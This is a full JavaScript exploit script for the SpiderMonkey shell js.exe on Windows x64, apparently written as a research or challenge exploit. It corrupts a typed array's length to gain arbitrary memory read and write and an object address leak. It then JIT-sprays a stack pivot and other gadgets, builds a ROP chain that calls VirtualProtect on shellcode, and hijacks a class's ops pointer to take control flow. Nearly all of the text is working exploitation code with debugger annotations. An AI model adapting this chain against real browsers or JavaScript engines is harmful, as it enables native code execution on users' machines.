text: // Axel '0vercl0k' Souchet - 11 October 2018
  //
  // Exploit for js.exe on Windows x64. Leverages IonMonkey to JIT a stack-pivot,
  // and various gadgets. Then, hijack control flow, pivot and kick off a ROP chain
  // that calls VirtualProtect in order to make the content of an Uint8Array's buffer
  // executable. Finally, execution is pivoted there and we have arbitrary native code
  // execution.
  //
  
  const Debug = false;
  const dbg = function (p) {
      if(Debug == false) {
          return;
      }
  
      print('Debug: ' + p);
  };
  
  //
  // new Array vs [] ensures that the array is allocated
  // from the nursery as it does in firefox. But not in js.exe.
  //
  
  const Smalls = new Array(1, 2, 3, 4);
  const U8A = new Uint8Array(4);
  
  print('[*] Smalls is hella blazin rn..');
  Smalls.blaze();
  
  load('utils.js');
  load('int64.js');
  load('moarutils.js');
  
  //
  // Tamper the U8A's byteLength field via Smalls.
  //
  
  const Smalls2U8A = 11;
  Smalls[Smalls2U8A] = 0x100;
  
  if(U8A.byteLength != 0x100) {
      throw 'The corruption of the length did not work out, aborting.';
  }
  
  class __Pwn {
      constructor() {
          this.SavedBase = Smalls[13];
      }
  
      __Access(Addr, LengthOrValues) {
          if(typeof Addr == 'string') {
              Addr = new Int64(Addr);
          }
  
          const IsRead = typeof LengthOrValues == 'number';
          let Length = LengthOrValues;
          if(!IsRead) {
              Length = LengthOrValues.length;
          }
  
          if(IsRead) {
              dbg('Read(' + Addr.toString(16) + ', ' + Length + ')');
          } else {
              dbg('Write(' + Addr.toString(16) + ', ' + Length + ')');
          }
  
          //
          // Fix U8A's length.
          //
  
          Smalls[Smalls2U8A] = Length;
  
          //
          // Verify that we properly corrupted the length of UA8.
          //
  
          if(U8A.byteLength != Length) {
              print("Error: The ArrayBuffer's length doesn't check out");
              throw 'Error';
          }
  
          //
          // Fix base address.
          //
  
          Smalls[Smalls2U8A + 2] = Addr.asDouble();
  
          if(IsRead) {
              return U8A.slice(0, Length);
          }
  
          U8A.set(LengthOrValues);
      }
  
      Read(Addr, Length) {
          return this.__Access(Addr, Length);
      }
  
      Write(Addr, Values) {
          return this.__Access(Addr, Values);
      }
  
      WritePtr(Addr, Value) {
          const Values = new Int64(Value);
          this.__Access(Addr, Values.bytes());
      }
  
      Read32(Addr) {
          const Bytes = new Uint8Array([0, 0, 0, 0, 0, 0, 0, 0]);
          Bytes.set(this.Read(Addr, 4), 0);
          return new Int64(Bytes);
      }
  
      ReadPtr(Addr) {
          return new Int64(this.Read(Addr, 8));
      }
  
      ReadString(Addr) {
          let S = '';
          while(1337) {
              let Char = this.Read(Addr, 1)[0];
              if(Char == 0) {
                  break;
              }
  
              S += String.fromCharCode(Char);
              Addr = Add(Addr, Int64.One);
          }
          return S;
      }
  
      AddrOf(Obj) {
  
          //
          // Fix U8A's byteLength and base.
          //
  
          Smalls[Smalls2U8A] = 8;
          Smalls[Smalls2U8A + 2] = this.SavedBase;
  
          //
          // Below technique uses Smalls.
          //
          // Smalls is contiguous with U8A. Go and write a jsvalue in its buffer,
          // and then read it out via the TypedArray.
          //
  
          Smalls[14] = Obj;
          return Int64.fromJSValue(U8A.slice(0, 8));
      }
  };
  
  const Pwn = new __Pwn(Debug);
  
  //
  // Leak a bunch of stuff
  //
  
  dbg('[+] Smalls is @ ' + Pwn.AddrOf(Smalls).toString(16));
  dbg('[+] U8A is @ ' + Pwn.AddrOf(U8A).toString(16));
  
  //
  // Let's move the battle field to the TenuredHeap
  //
  
  const AB1 = new ArrayBuffer(1);
  const AB2 = new ArrayBuffer(1);
  const AB1Address = Pwn.AddrOf(AB1);
  const AB2Address = Pwn.AddrOf(AB2);
  
  dbg('[+] AB1 is @ ' + AB1Address.toString(16));
  dbg('[+] AB2 is @ ' + AB2Address.toString(16));
  Pwn.Write(
      Add(AB1Address, 0x28),
      [0x00, 0x00, 0x01, 0x00, 0x00, 0x80, 0xf8, 0xff]
  );
  Pwn.Write(
      Add(AB2Address, 0x28),
      [0x00, 0x00, 0x01, 0x00, 0x00, 0x80, 0xf8, 0xff]
  );
  
  Pwn.__Access = function (Addr, LengthOrValues) {
      if(typeof Addr == 'string') {
          Addr = new Int64(Addr);
      }
  
      const IsRead = typeof LengthOrValues == 'number';
      let Length = LengthOrValues;
      if(!IsRead) {
          Length = LengthOrValues.length;
      }
  
      if(IsRead) {
          dbg('Read(' + Addr.toString(16) + ', ' + Length + ')');
      } else {
          dbg('Write(' + Addr.toString(16) + ', ' + Length + ')');
      }
  
      let OddOffset = 0;
      if(Addr.byteAt(0) & 0x1) {
          Length += 1;
          OddOffset = 1;
      }
  
      if(AB1.byteLength < Length) {
          print("Error: The ArrayBuffer's length is too small, aborting.");
          throw 'Error';
      }
  
      //
      // Fix base address (need to be rshifted XXX: figure out why)
      //
  
      Addr = RShift1(Addr);
      const Biggie = new Uint8Array(AB1);
      for(const [Idx, Byte] of Addr.bytes().entries()) {
          Biggie[Idx + 0x40] = Byte;
      }
  
      const View = new Uint8Array(AB2);
      if(IsRead) {
          return View.slice(OddOffset, Length);
      }
  
      for(const [Idx, Byte] of LengthOrValues.entries()) {
          View[OddOffset + Idx] = Byte;
      }
  };
  
  Pwn.AddrOf = function (Obj) {
  
      //
      // Technique from saelo's foxpwn exploit
      //
  
      AB2.hell_on_earth = Obj;
      const SlotsAddressRaw = new Uint8Array(AB1).slice(48, 48 + 8);
      const SlotsAddress = new Int64(SlotsAddressRaw);
      return Int64.fromJSValue(this.Read(SlotsAddress, 8));
  };
  
  //
  // Find JS base address
  //
  
  const EmptyEelementsHeaders = new Int64(new Uint8Array(AB1).slice(0x38, 0x38 + 8));
  const JSBase = FindModuleBase(Pwn, EmptyEelementsHeaders);
  print('[+] js.exe is @ ' + JSBase.toString(16));
  
  //
  // Go and find VirtualProtect.
  //
  
  const VirtualProtect = FindImportedAPIs(Pwn, JSBase, 'kernel32.dll', 'VirtualProtect');
  print('[+] kernel32!VirtualProtect is @ ' + VirtualProtect.toString(16));
  
  const ShellcodeAddress = Pwn.ReadPtr(
      Add(Pwn.AddrOf(Shellcode), 8 * 7)
  );
  
  print('[+] Payload is @ ' + ShellcodeAddress.toString(16));
  
  //
  // Bring your own gadgetz boiz!
  //
  
  const Magic = '0vercl0k'.split('').map(c => c.charCodeAt(0));
  const BringYourOwnGadgets = function () {
  
      //
      // Magic:
      //  00000350`ed5f77f8 49bb30766572636c306b mov r11,6B306C6372657630h
      //  0:000> db 00000350`ed5f77f8+2 l8
      //  00000350`ed5f77fa  30 76 65 72 63 6c 30 6b                          0vercl0k
      //
  
      const Magic = 2.1091131882779924e+208;
  
      //
      // Pop:
      //  0:000> u 0x00000350ed5f7808
      //  00000350`ed5f7808 59              pop     rcx
      //  00000350`ed5f7809 5a              pop     rdx
      //  00000350`ed5f780a 4158            pop     r8
      //  00000350`ed5f780c 4159            pop     r9
      //  00000350`ed5f780e c3              ret
      //  00000350`ed5f780f 90              nop
      //
  
      const PopRegisters = -6.380930795567661e-228;
  
      //
      // Pivot:
      //  0:000> u 0x00000350ed5f7816-2 l1
      //  00000350`ed5f7814 49bb4887e2909090eb06 mov r11,6EB909090E28748h
      //  0:000> u 0x00000350ed5f7816 l5
      //  00000350`ed5f7816 4887e2          xchg    rsp,rdx
      //  00000350`ed5f7819 90              nop
      //  00000350`ed5f781a 90              nop
      //  00000350`ed5f781b 90              nop
      //  00000350`ed5f781c eb06            jmp     00000350`ed5f7824
      //  0:000> u 00000350`ed5f7824 l4
      //  00000350`ed5f7824 488b2424        mov     rsp,qword ptr [rsp]
      //  00000350`ed5f7828 90              nop
      //  00000350`ed5f7829 90              nop
      //  00000350`ed5f782a eb06            jmp     00000350`ed5f7832
      //  0:000> u 00000350`ed5f7832
      //  00000350`ed5f7832 488b642438      mov     rsp,qword ptr [rsp+38h]
      //  00000350`ed5f7837 c3              ret
      //  00000350`ed5f7838 90              nop
      //  00000350`ed5f7839 90              nop
      //
  
      const Pivot0 = 2.4879826032820723e-275;
      const Pivot1 = 2.487982018260472e-275;
      const Pivot2 = -6.910095487116115e-229;
  };
  
  //
  // Force JITing of the gadgets
  //
  
  for(let Idx = 0; Idx < 12; Idx++) {
      BringYourOwnGadgets();
  }
  
  //
  // Retrieve addresses of the gadgets
  //
  
  const BringYourOwnGadgetsAddress = Pwn.AddrOf(BringYourOwnGadgets);
  const JsScriptAddress = Pwn.ReadPtr(
      Add(BringYourOwnGadgetsAddress, 0x30)
  );
  
  const JittedAddress = Pwn.ReadPtr(JsScriptAddress);
  print('[+] JITed function is @ ' + JittedAddress.toString(16));
  
  let JitPageStart = alignDownPage(JittedAddress);
  print('[+] JIT page of gadget store is @ ' + JitPageStart.toString(16));
  
  //
  // Scan the JIT page, pages by pages until finding the magic value. Our
  // gadgets follow it.
  //
  
  let MagicAddress = 0;
  let FoundMagic = false;
  for(let PageIdx = 0; PageIdx < 3 && !FoundMagic; PageIdx++) {
      const JitPageContent = Pwn.Read(JitPageStart, 0x1000);
      print('[+] Scanning JIT page @ ' + JitPageStart.toString(16));
      for(let ContentIdx = 0; ContentIdx < JitPageContent.byteLength; ContentIdx++) {
          const Needle = JitPageContent.subarray(
              ContentIdx, ContentIdx + Magic.length
          );
  
          if(ArrayCmp(Needle, Magic)) {
  
              //
              // If we find the magic value, then we compute its address, and we getta outta here!
              //
  
              MagicAddress = Add(JitPageStart, ContentIdx);
              FoundMagic = true;
              break;
          }
      }
  
      JitPageStart = Add(JitPageStart, 0x1000);
  }
  
  print('[+] Magic is at @ ' + MagicAddress.toString(16));
  const PopRcxRdxR8R9Address = Add(MagicAddress, 0x8 + 4 + 2);
  const RetAddress = Add(PopRcxRdxR8R9Address, 6);
  const PivotAddress = Add(PopRcxRdxR8R9Address, 0x8 + 4 + 2);
  
  print('[+] PopRcxRdxR8R9 is @ ' + PopRcxRdxR8R9Address.toString(16));
  print('[+] Pivot is @ ' + PivotAddress.toString(16));
  print('[+] Ret is @ ' + RetAddress.toString(16));
  
  //
  // Prepare the backing buffer for the ROP chain. It is also the
  // object we will use to hijack control flow later.
  //
  
  const TargetSize = 0x10000;
  const Target = new Uint8Array(TargetSize);
  const TargetBufferAddress = Pwn.ReadPtr(
      Add(Pwn.AddrOf(Target), 8 * 7)
  );
  
  //
  // We want the ropchain to start in the middle of the space because
  // VirtualProtect might use a bunch of stack space and might underflow
  // our buffer.
  // In order to make things simple regarding our stack-pivot, we just fill
  // the buffer with a ret-sled that will land on our rop-chain which is located
  // in the middle of the region.
  //
  
  let Offset2RopChain = TargetSize / 2;
  for(let Idx = 0; Idx < TargetSize; Idx += 8) {
      Target.set(RetAddress.bytes(), Idx);
  }
  
  //
  // Prepare the ROP chain which makes the shellcode executable and jump to it.
  //
  
  const PAGE_EXECUTE_READWRITE = new Int64(0x40);
  const RopChain = [
      // pop rcx / pop rdx / pop r8 / pop r9 / ret
      PopRcxRdxR8R9Address,
      ShellcodeAddress,
      new Int64(Shellcode.length),
      PAGE_EXECUTE_READWRITE,
      TargetBufferAddress,
  
      VirtualProtect,
      ShellcodeAddress
  ];
  
  for(const Entry of RopChain) {
      Target.set(Entry.bytes(), Offset2RopChain);
      Offset2RopChain += 8;
  }
  
  //
  // Retrieve a bunch of addresses needed to replace Target's clasp_ field
  //
  
  const TargetAddress = Pwn.AddrOf(Target);
  const TargetGroup_ = Pwn.ReadPtr(TargetAddress);
  const TargetClasp_ = Pwn.ReadPtr(TargetGroup_);
  const TargetcOps = Pwn.ReadPtr(Add(TargetClasp_, 0x10));
  const TargetClasp_Address = Add(TargetGroup_, 0x0);
  
  const TargetShapeOrExpando_ = Pwn.ReadPtr(Add(TargetAddress, 0x8));
  const TargetBase_ = Pwn.ReadPtr(TargetShapeOrExpando_);
  const TargetBaseClasp_Address = Add(TargetBase_, 0);
  
  //
  // Prepare backing memory for the js::Class object, as well as the js::ClassOps object
  //
  
  // 0:000> ?? sizeof(js!js::Class) + sizeof(js::ClassOps)
  // unsigned int64 0x88
  const MemoryBackingObject = new Uint8Array(0x88);
  const MemoryBackingObjectAddress = Pwn.AddrOf(MemoryBackingObject);
  const ClassMemoryBackingAddress = Pwn.ReadPtr(Add(MemoryBackingObjectAddress, 7 * 8));
  // 0:000> ?? sizeof(js!js::Class)
  // unsigned int64 0x30
  const ClassOpsMemoryBackingAddress = Add(ClassMemoryBackingAddress, 0x30);
  dbg('[+] js::Class / js::ClassOps backing memory is @ ' + Pwn.AddrOf(MemoryBackingObject).toString(16));
  
  //
  // Copy the original Class object into our backing memory, and hijack
  // the cOps field
  //
  
  MemoryBackingObject.set(Pwn.Read(TargetClasp_, 0x30), 0);
  MemoryBackingObject.set(ClassOpsMemoryBackingAddress.bytes(), 0x10);
  
  //
  // Copy the original ClassOps object into our backing memory and hijack
  // the add property
  //
  
  MemoryBackingObject.set(Pwn.Read(TargetcOps, 0x50), 0x30);
  MemoryBackingObject.set(PivotAddress.bytes(), 0x30);
  
  //
  // At this point, hijack Target's clasp_ fields; from both group and the
  // shape. Note that we also update the shape as there's an assert in
  // the debug build that makes sure the two classes matches
  //
  
  print("[*] Overwriting Target's clasp_ @ " + TargetClasp_Address.toString(16));
  Pwn.WritePtr(TargetClasp_Address, ClassMemoryBackingAddress);
  print("[*] Overwriting Target's shape clasp_ @ " + TargetBaseClasp_Address.toString(16));
  Pwn.WritePtr(TargetBaseClasp_Address, ClassMemoryBackingAddress);
  
  //
  // Let's pull the trigger now
  //
  
  print('[*] Pulling the trigger bebe..');
  Target.im_falling_and_i_cant_turn_back = 1;
  
  